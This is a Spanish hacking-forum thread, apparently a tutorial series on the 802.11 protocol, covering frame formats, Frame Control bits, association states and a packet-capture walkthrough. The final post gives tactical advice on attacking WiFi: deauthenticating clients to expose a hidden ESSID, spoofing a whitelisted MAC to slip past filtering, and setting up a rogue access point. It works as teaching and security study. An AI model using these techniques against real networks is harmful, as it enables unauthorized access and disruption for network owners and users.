Resultados 1 al 16 de 16

Protocolo 802.11 - TALLER WiFi

Vista híbrida

Mensaje anterior Mensaje anterior   Próximo mensaje Próximo mensaje
  1. #1 Protocolo 802.11 - TALLER WiFi 
    HH Administrator Avatar de LUK
    Fecha de ingreso
    Oct 2001
    Ubicación
    SpaÑa
    Mensajes
    5.289
    Descargas
    224
    Uploads
    251
    Durante estas últimas semanas este foro ha estado ha estado “animado”, también he recibido muchos mensajes privados acerca del comportamiento las redes WiFi protegidas (WEP/WPA) y me he dado cuenta , que si bien mas o menos todos conocemos “la práctica” de cómo atacar redes inalámbricas, la práctica totalidad de las preguntas que me habéis hecho se resuelven con un BUEN CONOCIMIENTO teórico de cómo es el comportamiento de las mismas.

    Es decir, muchos de nosotros “sabemos” usar herramientas del tipo aricrack-aireplay-airodump-etc--- pero pocos tienen claro por qué funcionan y por qué resulta (a veces sencillo, a veces no tanto) obtener una clave wep o wpa.

    Por eso, he tirado de mis apuntes (aquellos con los que sufren mis queridos alumnos) y les he dado una aspecto algo informal, espero que el resultado sea bueno.

    Voy a seguir la misma iniciativa de nuestro “querido” Taller TCP/IP esperando que este nuevo se convierta en un Taller WiFi.

    Este hilo permanecerá cerrado, los comentarios y dudas las resolveremos en el foro de redes.

    Si prestáis atención a todo lo que voy a ir comentado y cuando tengáis una duda repasáis los contenidos que vamos a esbozar seguro que además de “usar” esas herramientas, comprenderéis cómo funcionan y cómo podemos modificarlas para realizar ataques “mas refinados” o por pura “curiosidad

    Deberíamos comenzar por la capa física, esto es, señales, antenas, bandas de radiofrecuencia, dispositivos, tarjetas…. Ufff, un sin fin de conceptos y conocimientos que (para lo que se trata en este momento) diremos que “sobra”.

    Por tanto, nos hemos de creer dos cosas para saltarnos la capa física de un plumazo:

    • 1.- Un Punto de Acceso es un aparato que permite conectar estaciones inalámbricas entre sí o incluso estaciones inalámbricas con estaciones por cable.

      También un Punto de acceso puede comunicarse con otros puntos de acceso extendiendo la zona inalámbrica o creando un perímetro inalámbrico mas grande, es lo que se conoce con el nombre de WDS.

      2.- Una estación inalámbrica es un dispositivo que puede comunicarse con un punto de acceso y por consiguiente, con el resto de estaciones inalámbricas o con estaciones con cable.

      También una estación inalámbrica puede comunicarse directamente con otra sin necesidad de punto de acceso, es lo que conocemos como comunicación ad-hoc.
    En nuestro estudio nos va a interesar mas “cómo acceden al medio” tanto las estaciones como los puntos de acceso, esto es, lo que se llama Capa 2 en los modelos de comunicaciones.

    Si entendemos bien la capa 2 en las comunicaciones inalámbricas, entenderemos, comprenderemos y seremos capaces de escenificar los ataques contra las vulnerabilidades en redes inalámbricas, incluidos los ataques a cifrados y otros como la denegación de servicios, hombre en medio, despliegue de puntos de acceso ilícitos o reinyección de tráfico en la red.

    El tráfico en la capa 2 se le llama tramas (frames en inglés) no es que sea muy importante saber el nombrecito… pero mejor llamar a cada cosa por su nombre.

    Un Punto de Acceso tiene:


    • • Un nombre al que llamamos SSID (o essid)
      • Una Dirección MAC que llamamos BSSID
      • Un modo de distribución: Infraestructura, Repetidor, Cliente y algún otro mas.
      • Seguridad y/o cifrado: WEP, WAP, WPA2, sin seguridad (OPEN)
      • Clientes: Las estaciones inalámbricas que se conectan a ellos
      • Enrutamiento: Capa2 y también los hay de Capa3 (no todos)
      • Una fuerza de la señal aplicada a cada paquete
      • Un alcance que depende de factores como la antena, el entorno, obstáculos, etc.
    Un punto de acceso, envía y recibe:

    • • Tramas de Administración: Beacons, Probes y Request
      • Tramas de Datos: Cifrados o en “texto plano”
      • Tramas de Control: RTS, ACK’s y CTS
    Esto anterior no refleja “todo” lo que un punto de acceso tiene, envía y recibe… pero nos acerca bastante a la realidad de los mismos.

    Es importante señalar que la forma de comunicarse en redes inalámbricas (WiFi) está estandarizado, de ahí tenemos el archiconocidos 802.11, junto con sus “variantesa,b,c,d,e,g,h,i,n etc… cuando encontremos documentos o información relativa a 802.11b u 802.11e, etc debemos de asumir que la comunicación está “ordenada”, “regulada”, “estandarizada”, “definida” mediante esos estándares.

    No obstante, existen fabricantes que además de “soportar” el estándar , también implementan cambios y modificaciones de “cosecha propia”, es decir, pequeñas o grandes variaciones sobre el protocolo de comunicaciones que dicho fabricante añade.

    Ni que decir tiene, que esos “añadidos” al ser particulares de un determinado fabricante, podrán sólo usarse entre equipamientos del mismo fabricante.

    Esos añadidos (que a la postre deberían convertirse en mejoras) pueden ser un obstáculo cuando entran en escena otro hardware de diferente fabricante, sin embargo, y a menos que el administrador de la red inalámbrica así lo decida, siempre serán compatibles con los estandarizados.

    Está muy claro, pero con un ejemplo quedará todo cristalino (si es que hay algo que aclarar):


    • Ya es conocido que existe un tipo de tramas “especial” que al enviarlas de forma “mal intencionada” los clientes que están asociados a un punto de acceso se “desconectan” del mismo, es lo que llamamos disociación.

      ¿Por qué es esto posible? Porque las tramas del tipo disociación que un punto de acceso envía a un cliente o a todos no están protegidas ni cifradas de forma alguna. Esto ocurre siempre, tanto si usamos WEP-WPA como si no.

      CISCO, incorpora un “añadido” especial a este tipo de tramas… el llamado CCX que no es otra cosa que un control de integridad de las tramas de disociación (y no sólo de ellas) de forma que el ataque de disociación no sería efectivo.
    Pero claro, como decíamos antes, sólo si usamos hardware de CISCO en todo el perímetro de la red inalámbrica sería factible implementar dicha característica.

    Aunque son documentos “muy técnicos” (y de eso precisamente quiero huir en esta explicación) quien lo desee puede consultar libremente los modelos para 802.11, 802.11a, 802.11b, …. En:: http://standards.ieee.org/getieee802/

    Después de esta breve introducción vamos a desmenuzar cómo es una trama de datos en 802.11.



    Explicamos (de derecha a izquierda)

    FCS es un campo de 4 bytes que se añade como control de Secuencia, no debemos preocuparnos de ello por ahora.

    Cuerpo. Es el contenido de la comunicación (los datos a transmitir), si no usamos seguridad alguna lo podremos ver “en texto plano” como si tal cosa, si es un icmp, un intercambio TCP, etc… Si está cifrado mediante WEP o WPA pues “de momento” no tiene sentido lo que “vemos”.

    Cabecera MAC: Lo primero que nos llama la atención es que su tamaño “puede variar”.

    Variar? Por qué?

    Porque dependiendo del tipo de mensaje y de otras funcionalidades (por ejemplo si se utiliza QoS o no) puede ser de un tamaño u otro, lo que siempre existe en la cabecera MAC es esto:



    Y cuando son 26 ó 30 ó 32??

    Cuando concurra alguna de estas circunstancias:

    • * QoS (Calidad de Servicio) protocolo 802.11e está habilitado

      * La comunicación se realiza entre puntos de acceso.
    Si utilizamos QoS, se añaden 2 bytes para el control de las colas QoS después de la tercera dirección MAC, o si lo prefieres, antes del número de secuencia

    Si la comunicación es "entre” puntos de acceso, se añade una cuarta dirección MAC (la del otro punto de acceso) inmediatamente después del número de secuencia, como ya sabemos una dirección MAC tiene 6 bytes.

    Por eso podemos tener cabeceras MAC de varias “longitudes”, por ejemplo:

    24 bytes -> Comunicación entre cliente y punto de acceso, sin QoS
    26 Bytes -> Comunicación entre cliente y punto de acceso, con QoS
    30 bytes -> Comunicación entre puntos de acceso, sin QoS
    32 bytes -> Comunicación entre puntos de acceso, con QoS

    También hay que hacer una salvedad en cuanto a las 3 direcciones MAC que hablaba… en el ejemplo puse origen-destino-bssid, no es así realmente…. Todo dependerá de si se trata de una trama de administración, de datos o de la dirección del tráfico.

    Es decir, la dirección MAC1 (los bytes 4-5-6-7-8-9-10) pueden representar el bssid, la dirección MAC origen e incluso la dirección MAC destino. Lo mismo ocurre con las otras dos direcciones MAC, MAC2 y MAC3.

    Todavía es pronto para “comprender” bien este “baile” de direcciones MAC, de momento nos quedamos que MAC1, MAC2 y MAC3 representan las direcciones origen, destino y bssid de la comunicación PERO NO PRECISAMENTE Y SIEMPRE EN ESE ORDEN!!!!!

    Llegados a este punto, Cómo se sabe si se trata de una trama de control, de administración o de datos???

    Por los dos primeros bytes de la cabecera MAC, esto es, el FC o Frame Control

    Al ser un campo de dos bytes contiene 16 bits de información correspondiente al tipo de trama, al subtipo, a si la comunicación ve “hacia” el punto de acceso, si va “hacia” el cliente, si está fragmentada, si hay mas datos, si se trata de una trama retransmitida, y otros… como si los datos van o no cifrados, si se utiliza “power management” (administración de energía)….

    Tenemos que leer esos bits de derecha a izquierda, por ejemplo, supongamos que el campo frame control contiene el valor 08 41 en hexadecimal… en binario son:

    Código:0 = 0000
    8 = 1000

    4 = 0100
    1 = 0001

    Los interpretaremos de “derecha a izquierday por parejas, esto es, leemos los bits de derecha a izquierda:

    08 = 0000 1000



    41 = 0100 0001



    Observa que los bits están “rotados” de forma que el “mas significativo” es el que está mas a la izquierda, vamos que no hay que interpretarlo (según el ejemplo) así:



    Ahora pasemos a explicar cada campo (al menos los mas significativos)

    Versión del Protocolo: bit 0 y 1

    Serán siempre cero. Otros valores significarán que no se corresponde con el estándar (por ejemplo una versión propia de un fabricante)

    Tipo de Trama (bits 2 y 3)

    Identifican el tipo de trama, es decir, si es de administración, de control o de datos.

    Subtipo (bits 4,5,6 y 7)

    Es una descripción mas detallada del tipo.

    ToDS (bit 8 )

    Este bit está a uno cuando la trama viaja hacia el sistema de distribución, por ejemplo si la trama la envía un punto de acceso a otro punto de acceso o si una estación envía la trama al punto de acceso.

    FromDS (bit 9)

    Este bit está a uno si la trama viaja desde el sistema de distribución, por ejemplo cuando un punto de acceso envía tramas a las estaciones. También está a uno cuando la trama viaja de un punto de acceso a otro.

    WEP (bit 14)

    Este bit se activa (a uno) si los datos están cifrados, en caso contrario los datos viajan en texto plano.

    El resto de bits (por ahora) no tienen mucho significado en esta explicación, eso sí, conviene aclarar o ampliar los valores de tipo, subtipo, ToDS y FromDS, unas tablas ayudarán a ello.





    Seguro que sino estás pensando que esto es un rollo, al menos pensarás que de momento es fácil… vamos a plantear tres preguntas (con trampa, claro, de lo contrario no tiene gracia)

    1.- Según lo expuesto…. Si nos encontramos con una trama y los bits 8 y 9 de FC están a cero… ¿podemos asegurar que se trata de una comunicación ad-hoc?

    R: Si consultamos la tabla que os puse antes, es tajante la respuesta es SI. Pero no es oro todo lo que reluce… La respuesta correcta es NO.

    Si bit 8 y bit 9 son cero, efectivamente puede ser una comunicación ad-hoc siempre y cuando la trama sea de DATOS!!!

    Si, por ejemplo, la trama es de administración (por ejemplo un beacon o señalización) bit 8 y bit 9 son cero y por supuesto… no es una comunicación entre estaciones.

    2.- Otra… Es posible encontrarnos con una trama en la que la cabecera MAC tiene menos de 24 bytes???

    R: Al igual que antes, si repasamos lo dicho, la respuesta es NO, puesto que len la cabecera MAC exite un FC de 2 bytes, una duración de 2 bytes. al menos 3 direcciones MAC de 6 bytes cada una (18 en total) y un número de secuencia/fragmento de otros 2 bytes, o sea, un mínimo de 24 bytes… pero la respuesta correcta debería haber sido SI!!!!

    SI, por ejemplo una trama de control con subtipo Clear-to-Send (permitido para transmitir) tiene únicamente una longitud de 10 bytes: 2 para FC, 2 para la duración y 6 para la MAC del punto de acceso quien la envía.

    3.- Al analizar una trama descubrimos que el bit 14 (Wep) está activado… ¿Es realmente una trama cifrada con WEP?

    R: NO. Ciertamente los datos (el cuerpo de la trama) estarán cifrados, pero no tiene que ser obligatoriamente con WEP. Bien puede ser WPA o WPA2, este bit indica que los datos están protegidos, pero no te dejes engañar por el nombre del campo, el bit wep a uno indica cifrado, pero no necesariamente un cifrado WEP.

    Estas tres preguntas aunque no te lo parezca por ahora, son importantes… Primero porque si nos decidimos a lanzar “un ataque” contra una red WiFi, dependiendo de lo que queramos conseguir habrá que realizarlo sobre tramas de datos, administración o control y en el caso de atacar un cifrado, pues contra el mismo…

    Ahora que ya somos capaces de “identificar” los diferentes tipos de tramas, vamos a representar “la coreografía” de cómo funciona todo el mecanismo:

    Primero conocer los “estados” en los que nos podemos encontrar:

    Un cliente puede estar:

    • • No asociado ni autenticasdo: Es decir, ni tan siquiera intentó “conectarse” a la red inalámbrica
      • Autenticado: El cliente desea participar de la red pero todavía no finalizó la asociación por completo.
      • Asociado: El cliente se asoció y al proporcionar una clave correcta “disfruta” de los recursos de la red.


    Como ves en la figura, un cliente asociado puede dejar de estarlo y permanecer autenticado.

    Normalmente son los puntos de acceso quienes envían tramas de disociación y des-autenticación.

    Son los clientes (las estaciones) los que envían tramas de autenticación, asociación y/o reasociación, también de disociación cuando abandona la red.

    La reasociación es un caso especial, es aquel en el que una estación estaba asociada y recibió una trama de disociación… entonces queda en estado autenticado y reinicia la asociación mediante una solicitud de reasociación.

    Resumiendo:

    Un cliente asociado (completó todo el proceso de incorporación a la red) puede ser desasociado o des-autenticado por el punto de acceso

    Un cliente autenticado puede ser des-autenticado por el punto de acceso.

    Un cliente que fue desautenticado podrá solicitar una reasociación

    Un cliente no asociado ni autenticado, primero solicitará autenticación y luego asociación.

    Un cliente autenticado solicitará asociación o reasociación dependiendo del estado anterior al momento de la autenticación.

    Por supuesto que un cliente también puede abandonar la red sin necesidad que sea el punto de acceso quien lo haga, a los efectos, sería igual que lo descrito anteriormente.
    [][][] LUK [][][]
    hackhispano.com
     

  2. #2  
    HH Administrator Avatar de LUK
    Fecha de ingreso
    Oct 2001
    Ubicación
    SpaÑa
    Mensajes
    5.289
    Descargas
    224
    Uploads
    251
    ESTRUCTURA DE UN FRAME CONTROL

    Un punto de acceso envía o recibe:

    Beacons o señalizaciones Normalmente lo hace a intervalos regulares y sirve para que los clientes “lo vean” y puedan conectarse al mismo.

    Se puede “restringir” el envío de beacons, si este es el caso, el cliente debe conocer el essid (nombre) para poder realizar los pasos de asociación y autenticación.. Es el mecanismo por el que las estaciones pueden enumerar todos los puntos de acceso disponibles.

    El formato típico de una trama beacon es esta:



    * También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre puntos de acceso.

    El FC de un beacon es:



    El cuerpo de un beacon contiene información del tipo: Marcas de tiempo, intervalo de señalización, SSID, Tasa de transmisión soportada (1Mb, 11Mb, 22Mb, etc), Frecuencia, y otros como DS, CF, IBSS, TIM, País, patrones y parámetros FH.

    En una ampliación posterior hablaremos de ello (para los curiosos)

    Probes: Es un intercambio de mensajes que típicamente ocurre entre el punto de acceso y las estaciones, los mas habituales son: Request y Response (Solicitud de Sondeo y Respuesta de Sondeo)

    El formato típico de una trama Probe es esta:



    * También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre puntos de acceso.

    El FC de un Probe Request es:



    El cuerpo de un mensaje de tipo Probe Request contiene el SSID, Tasas de datos soportados y otros identificadores que puedan resultar interesantes.



    El cuerpo de un mensaje de tipo Probe Response contiene básicamente los mismos elementos que el de un beacon mas los identificadores solicitados mediante el probe request que se solicitó.

    Autenticación:

    La autenticación implica una serie de intercambios entre las estaciones y el punto de acceso. No siempre se realiza de la misma manera, esto es porque pueden existir otros sistemas de autenticación (tipo RADIUS) que también pueden estar presentes.

    Por lo general, una trama de Autenticación es esta:



    * También puede existir un cuarto campo de MAC después del número de secuencia para el caso de comunicación entre puntos de acceso.

    El cuerpo del mensaje de una trama de autenticación depende de cada contexto, de los algoritmos de cifrado si los hay, de los protocolos, etc…Entre ellos también existe un número de secuencia para la autenticación en curso y códigos de estado y respuesta.

    Un ejemplo típico es:

    • Cuerpo del mensaje de autenticación:

      2 bytes para el algoritmo y/o tipo: por ejemplo 00 00 para Sistemas Open
      2 bytes para el número de secuencia, p.e. 01 00 (nº secuencia 1)
      2 bytes para definir el estado o razón de la autenticación, p.e. 00 00 (satisfactorio)

    El FC de una solicitud de autenticación es:



    Una vez se hayan intercambiado toda la serie de mensajes entre el punto de acceso y las estaciones, el punto de acceso enviará otra trama de autenticación al cliente con idéntica estructura en su FC pero en el cuerpo de la trama incluirá:

    Número de secuencia de autenticación recibida + 1 (si se envió 0100 se recibirá 0200)

    Estado o razón de la autenticación: por ejemplo 00 00 si resultó satisfactoria.

    Desautenticación

    Este tipo de trama es de “una sola vía” y normalmente lo envía un punto de acceso a una estación o a todas (broadcast) con el objeto de des-autenticar a los clientes autenticados. y/o asociados. En cualquiera de los casos, las estaciones clientes deberán repetir todo el proceso para “volver” a la red.

    Por lo general, una trama de Des-Autenticación es esta:



    MAC1 es la dirección MAC del equipo que esta siendo desautenticado
    MAC2

    El cuerpo de la trama contiene entre otros datos, información de las razones de la desautenticación

    El FC de una des-autenticación es:



    Asociación

    Consiste en un intercambio de tramas de administración con subtipo Request y Response una vez que la autenticación resultó correcta.



    En el cuerpo de la trama se incluye información diversa acerca de las capacidades del dispositivo, tasas de transmisión (Rate) soportados, QoS, el ESSID, y opcionalmente razones y estados de la solicitud de la asociación.

    El FC de una Solicitud de Asociación es:



    Así mismo, la respuesta de la asociación es esta:



    En la Cabecera MAC de las tramas de Asociación, las MAC’s de cada dispositivo “bailan” dependiendo de si es una Solicitud o Respuesta, en cualquier caso siguen la forma definida: Destino – Origen – BSSID

    Relativo a la Asociación, existen otros dos formatos de trama relacionados, estas son Reasociación y Disociación.

    Un Punto de Acceso puede enviar tramas de disociación a una determinada estación o a todas (broadcast). El resultado final serán clientes desconectados.

    Un cliente o estación, puede enviar tramas de reasociación tras recibir una disociación y generalmente son también de un sólo sentido. También un cliente puede enviar tramas de reasociación si ya está conectado a un punto de acceso y desea asociarse con otro.

    Reasociación

    El Formato trama para una reasociación es:



    Observa que en este caso tenemos 4 MAC’s, de forma que:

    MAC1 es la dirección del cliente
    MAC2 es la del Punto de acesso con el que se desea reasociar
    MAC3 es la dirección del punto de Acceso con el se está actualmente asociado
    MAC4 Es la dirección del BSSID

    El FC para una Solicitud de reasociación es:



    El FC para una Respuesta de reasociación es:



    Disociación

    El Formato trama para una disociación es::



    En este caso sólo se utilizan dos direcciones MAC, una para la dirección de la estación que se desea disociar (o broadcast para todas) y la otra para la dirección MAC del Punto de Acceso.

    En el cuerpo de la trama se incluyen razones y/o estados relevantes a la disociación

    El FC de una disociación es:



    Resumen: según lo visto hasta ahora, las tramas de Administración y sus correspondientes FC serían:

    [][][] LUK [][][]
    hackhispano.com
     

  3. #3  
    HH Administrator Avatar de LUK
    Fecha de ingreso
    Oct 2001
    Ubicación
    SpaÑa
    Mensajes
    5.289
    Descargas
    224
    Uploads
    251
    ANÁLISIS DE CAPTURA DE TRÁFICO 802.11

    Conviene practicar con algún esnifer para afianzar lo explicado, un buen candidato es WireShark (usa el que prefieras) a continuación te pongo una serie de pantallas que ilustran todo lo explicado.

    Se han eliminado bastantes paquetes de las capturas y aunque no están todas las tramas que hemos estudiado, la mayoría sí.

    El punto de Acceso es un Cisco Linksys y la estación la tarjeta identificada como D-Link:

    En la primera pantalla “observamos” la secuencia de lo sucedido:
    • • El Punto de Acceso envía sus beacons (paq. 1)
      • El cliente envía Probe Request (paq. 2)
      • El punto de Acceso responde con sus Probe Response (paq. 3)
      • El cliente inicia la autenticación (paq. 4)
      • Envía un ACK (trama de control) paq. 5
      • El punto de acceso responde a la autenticación (Paq. 6)
      • Y También envía una trama de control de asentimiento ACK (paq. 7)
      • El cliente inicia la asociación Solicitud junto con el ACK (paq. 8 y 9)
      • El Punto de acceso envía una respuesta de autenticación y el ACK (paq. 10 y 11)
      • Se inicia el intercambio de datos (paq. 12 y 13)
      • El cliente se desautentica (paq. 14)

    Obviamente hay muchos otros intercambios, ack’s, tramas de control del tipo RTS y CTS, pero básicamente ese es el proceso, lo vemos:


    Escenario General



    Paquete 1. Beacon



    Paquete 2. Probe Request



    Paquete 3. Probe Response



    Paquete 4. Autenticación



    Paquete 5. Trama de Control. ACK



    Paquete 6. Autenticación



    Paquete 7. Trama de Control ACK



    Paquete 8. Asociación Request



    Paquete 9. Trama de Control. ACK



    Paquete 10. Asociación Response.



    Paquete 11. Trama de Control. ACK



    Paquete 12. Trama de Datos



    Paquete 13. Trama de Datos



    Paquete 14. Desautenticación



    Para los que queráis observar con mas detalle estos mismos paquetes capturados os dejo un enlace para que os podáis descargar el archivo .cap del mismo: http://www.megaupload.com/?d=Y32ZK1G3

    Ale!! a estudiar
    [][][] LUK [][][]
    hackhispano.com
     

  4. #4  
    HH Administrator Avatar de LUK
    Fecha de ingreso
    Oct 2001
    Ubicación
    SpaÑa
    Mensajes
    5.289
    Descargas
    224
    Uploads
    251
    LA DANZA DE MAC’S Y TIPOS DE TRAMA

    No puedo terminar esta parte sin comentar algo que es muy importante a la hora de analizar el tráfico de tramas de datos.

    Como dije al comienzo de este documento, cuando existen datos a transmitir, o mejor dicho, cuando el tipo de trama en la FC es de datos (10) las direcciones MAC “bailan” dependiendo de si están activos o no los bits toDS y FromDS, te pongo una imagen que vale mas que mil palabras:

    Y un ejemplo general…

    Un cliente envía un ping al punto de de acceso, por tanto toDS está a uno (1) y FromDs estará a cero (0)

    • En la cabecera MAC de la trama las direcciones MAC1, Mac2 y Mac3 serían:

      MAC1 = BSSID (la MAC del punto de acceso)
      MAC2 = Origen (la MAC del cliente)
      MAC3 = Destino (la MAC del punto de acceso
    Ahora el punto de acceso respondeFromDS = 1 y ToDS=0

    • MAC1= Destino (la MAC del cliente)
      MAC2= BSSID (la MAC del punto de acceso)
      MAC3= Origen (la MAC del punto de acceso)
    Observa que en este caso no es el consabido destino-origen-bssid, realmente esto sólo se cumple cuando ToDS y FromDS están a cero (comunicación ad-hoc o por ejemplo, tramas de administración)

    También puedes pensar que para qué 3 MAC’s?? si la comunicación es entre dos… claro, cuando la comunicación es entre punto de acceso y cliente (exclusivamente) pues es como “raro”, pero imagina que la comunicación es entre dos clientes inalámbricos… por ejemplo STA-01 hace un ping a STA-99

    STA-01 enviará una trama de datos hacia el punto de acceso pero con destino a STA-99, bits toDS a 1 y FromDS a 0

    • MAC1 = BSSID (mac del punto de acceso)
      MAC2 = Origen (mac de STA-01)
      MAC3 = Destino (mac de STA-99)
    El punto de acceso enviará los datos a STA-99 con bit toDS a 0 y FromDS a 1

    • MAC1 = Destino (Mac de STA-99)
      MAC2 = BSSID (Mac del punto de acceso)
      MAC3 = Origen (Mac de STA-01)
    STA-99 recibe el paquete y responde al ping… lo enviará hacia el sistema de distribución con destino a STA-01 (bit FromDS =0 y toDS=1)

    • MAC1= BSSID (mac del punto de acceso)
      MAC2 = Origen (MAC de STA-99)
      MAC3 = Destino (MAC de STA-01)
    Por último, el punto de acceso envía el paquete a STA-01 con bits FormDS=1 y toDS=0

    • MAC1 = Destino (Mac de STA-01)
      MAC2 = BSSID (Mac del punto de acceso)
      MAC3 = Origen (Mac de STA-99)
    No olvides esto!!! Será importante a la hora de “colocar” bien las MAC’s cuando usemos herramientas del tipo aircrack-ng o las nuestras propias.

    Para saber si una trama viaja desde o hacia el sistema de distribución (y así colocar las mac’s en su orden correcto) sólo tendremos que comprobar el byte 1 de Frame Control, imagina que capturas una trama de datos que es algo así:

    Código:
    08 42 2c 00 00 00 1d …….
    Lo que tendremos que hacer es “analizar” el segundo byte de la FrameControl, por ejemplo, para saber si FromDS está activado:

    Supongamos que tenemos un array llamado paquete[] que tiene todos y cada uno de los valores de la trama, de tal modo:

    Código:
     
    paquete[0]=0x08 
    paquete[1]=0x42 
    paquete[2]=0x2c 
    y así hasta el final…
    El que nos interesa es paquete[1], si hacemos un AND con 0x01 ó con 0x02 obtendremos 1 ó 2 dependiendo del estado de toDS y de FromDS:

    Código:
     
    If paquete[1] AND 0x02 = 0x02 entonces es un paquete FromDS activado 
    If paquete[1] AND 0x01 = 0x01 entonces es un paquete toDS activado
    También podríamos comprobarlo así:

    Código:
     
    Estado= paquete[1] AND 0x03 
     
    Switch (Estado) { 
     
    Case 0: es un paquete con FromDS y TodS a cero, probablemente de una 
    Una estación a otra estación (modo as-hoc) 
     
    Case 1: Es un paquete con FromDS a cero y ToDS a uno, probablemente de 
    Un cliente al punto de acceso 
     
    Case 2: Es un paquete con FromDS a uno y toDS a cero, probablemente de 
    Un punto de acceso a un cliente 
     
    Case 3: Es un paquete con FromDs a uno y ToDS a uno, probablemente de 
    Un punto de acceso a otro punto de acceso (modo wds) 
    }
    Así mismo, si deseáramos averiguar si se trata de una trama de datos, podríamos hacer algo asi:

    Código:
     
    If paquete[0] AND 0x0c = 0x08 se trata de un paquete de datos 
    If paquete[0] AND 0x0c = 0x00 se trata de una trama de administración 
    If paquete[0] AND 0x0c = 0x04 se trata de un trama de control
    Observa que ahora se analizó el byte cero del paquete correspondiente.

    Para saber si un paquete es QoS o no, también comprobaremos el byte cero.

    Código:
    If paquete[0] AND 0x80 = 0x80 se trata de un paquete QoS
    Esto viene a cuento porque en el momento que estemos preparados, vamos a crear pequeños “programas” para poder analizar el tráfico y/o enviar tramas “a nuestro gusto”.
    [][][] LUK [][][]
    hackhispano.com
     

  5. #5  
    HH Administrator Avatar de LUK
    Fecha de ingreso
    Oct 2001
    Ubicación
    SpaÑa
    Mensajes
    5.289
    Descargas
    224
    Uploads
    251
    10 PREGUNTAS SENCILLAS

    Bien, ahora unas preguntas que nos ayudarán a entender algunos de los ataques mas comunes a redes Wifi,

    1.- El ESSID oculto.

    Es una de las medidas “clásicas” a tomar para comenzar a proteger nuestra red, se basa en “ojos que no ven….” Pero del todo insuficiente en cuanto a la protección de la red.

    Cuando configuramos un Punto de Acceso con SSID oculto lo que estamos haciendo realmente explicar a nuestro equipo que no emita señalizaciones (beacons) y por tanto parará “inadvertido” al no anunciarse.

    Los clientes que se quieran conectar a un punto de acceso con essid oculto deben estar configurados con el nombre previamente puesto que como no se anuncia no lo veremos y no podremos conectarnos a él.

    2.- Si el punto de acceso no emite beacons, cómo es posible averiguar el essid???

    R: Porque las tramas Probe Request y Probe Response contienen el essid, y éstas tramas se siguen anunciando aunque el essid esté oculto.

    Lo único que tenemos que hacer es poner el esniffer y esperar a que un cliente se asocie a la red o si ya existe alguno o varios asociados, enviar tramas de disociación o des-autenticación, cuando los clientes se reasocien tendremos el essid en las tramas probe request y response.

    Otra forma de recuperar un essid oculto es capturar los intercambios EAP (de esto ya hablaremos) allí también podremos encontrar el essid oculto.

    Aunque como vemos es sencillo recuperar un essid oculto, no deja de ser una medida recomendable siempre que se pueda…

    ¿siempre que se pueda? Por???? En redes públicas no se debe hacer , hombre!!!

    3.- La cabecera MAC se difunde en texto plano (allí están las MAC de origen, destino y BSSID) Ya sabemos que no se deben usar MAC’s duplicadas en comunicaciones.

    ¿Qué pasa en una red inalámbrica si dos clientes usan la misma MAC?


    R: dependerá del estado de cada uno de ellos, si uno está asociado y el otro no, no hay problemas.

    4.- Y si los dos clientes están asociados usando la misma MAC???

    R: Pues quien tiene un problema a resolver es el punto de acceso. En entornos con una seguridad elevada esto hará saltar una alarma (incluso si todavía no se completó el proceso de asociación)

    Si la seguridad de la red es “por defecto” vamos, que el administrador de la misma piensa que ya es suficiente con los mecanismos básicos de protección, con un poco de habilidad por un supuesto atacante, pueden coexistir pacíficamente, tendría que controlar bien el broadcast de la tarjeta “usurpadora” para que el punto de acceso no tenga “dudas”, poder, se puede.

    5.- Y qué le ocurre a un cliente “legítimo” si me “coloco” su MAC y me asocio a la red??

    R: Lo normal es que le eches fuera (bueno, lo hará el punto de acceso por ti) lo que ocurre es que cuando se vuelva a asociar nos tocará a nosotros estar fuera y así cada vez.

    Pero también hay puntos de acceso que no lo hacen así y “los problemas” se pasan a capas superiores en la comunicación, es decir, tendremos problemas de red.

    6.- Entonces?? El filtrado de MAC es insalvable?

    R: El filtrado de MAC es un mecanismo de “seguridad” durante el proceso de autenticación, si la MAC está en la lista blanca, pues ea!!! Que siga con el resto y se asocie si quiere….

    En redes que usan este tipo de “filtros” hay que “ponerse” una MAC de un cliente que no genere mucho tráfico o que “acabe” de salir (sin echarle a patadas)

    Recuerda que existen mecanismos para detectar este tipo de “incidencias” y se pueden generar alertas de intrusión cuando dos mac’s iguales estan presentes.

    También dependerá del tipo de cifrado que se utilice, con WPA no sería posible puesto que “parte” del cifrado de los datos se incluye como generación de la integridad del mensaje, las direcciones MAC origen y destino (ya lo veremos)

    Por todo esto es mejor usar la mac “usurpada” tras la desconexión del cliente y no “invitarle a que se marche”.

    7.- Y si existen dos puntos de acceso con el mismo BSSID, con el mismo ESSID y emitiendo por el mismo canal?

    R: Pues esto (en el caso de que sea un ataque y no un error) es lo que se llama un Fake-AP o Rogue AP (Punto de Acceso falso o ilícito)

    Los clientes que inicien un proceso de asociación lo harán contra aquél punto de acceso que reciban con mas fuerza en su señal, es decir, si estamos mas cerca de una estación que el verdadero punto de acceso, ese cliente se asociará con nosotros en lugar de con el verdadero AP.

    Las herramientas específicas para este tipo de ataques incorporan funcionalidades como la de re-enrutar los paquetes para que la estación víctima ni se de cuenta de lo que pasa.

    8.- Se puede proteger una red contra un ataque del tipo Fake-AP???

    R: Una cosa es proteger y otra detectar. Proteger es imposible puesto que nunca estaremos seguros que alguien lo intente o no, lo que sí es viable es detectarlo.

    Aún así, si usamos certificados para la autenticación (p.e. alguno de los métodos EAP) el punto de acceso pedirá al cliente que “demuestre” que es quien dice ser. Si los clientes están bien configurados, desplegar un punto de acceso falso no tendrá éxito.

    9.- Se pueden prevenir los ataques del tipo desautenticación o disociación?

    R: Por el momento NO, el estándar 802.11 (y sucesivos) no lo implementa, en un futuro parece que sí se podrá, se está trabajando en protocolos que lo impidan.

    Pero desgraciadamente, los ataques contra la capa física (interferencias) siguen siendo posibles, si bien, los medios ya no son sólo un portátil con una tarjeta “maliciosa”

    10.- Es posible evitar las “escuchas” en una red Wifi.

    R: Pues eso sí que no es posible evitarlo… es un ataque “pasivo” la única defensa posible es ajustar bien el perímetro de la red y no propagar la señal más allá de donde deba llegar, cosa bastante difícil en la mayor parte de las ocasiones.

    Haremos un descanso…. Un tiempo para practicar, resolver dudas y comentarios ante lo expuesto.

    Tras ello, os resumo un poco lo que vendrá después:

    * Análisis del Cifrado WEP
    * Ataques Denegación de Servicio
    * Ataques contra WEP: Ataque texto plano, flipping, ataques inducción y reacción, modificación, reinyección.
    * Generación de keystream "personalizadas"
    * Otros ataques: FMS, chop-chop, fragmentación
    * Elaboración de programas "a medida" para relizar el/los ataques.

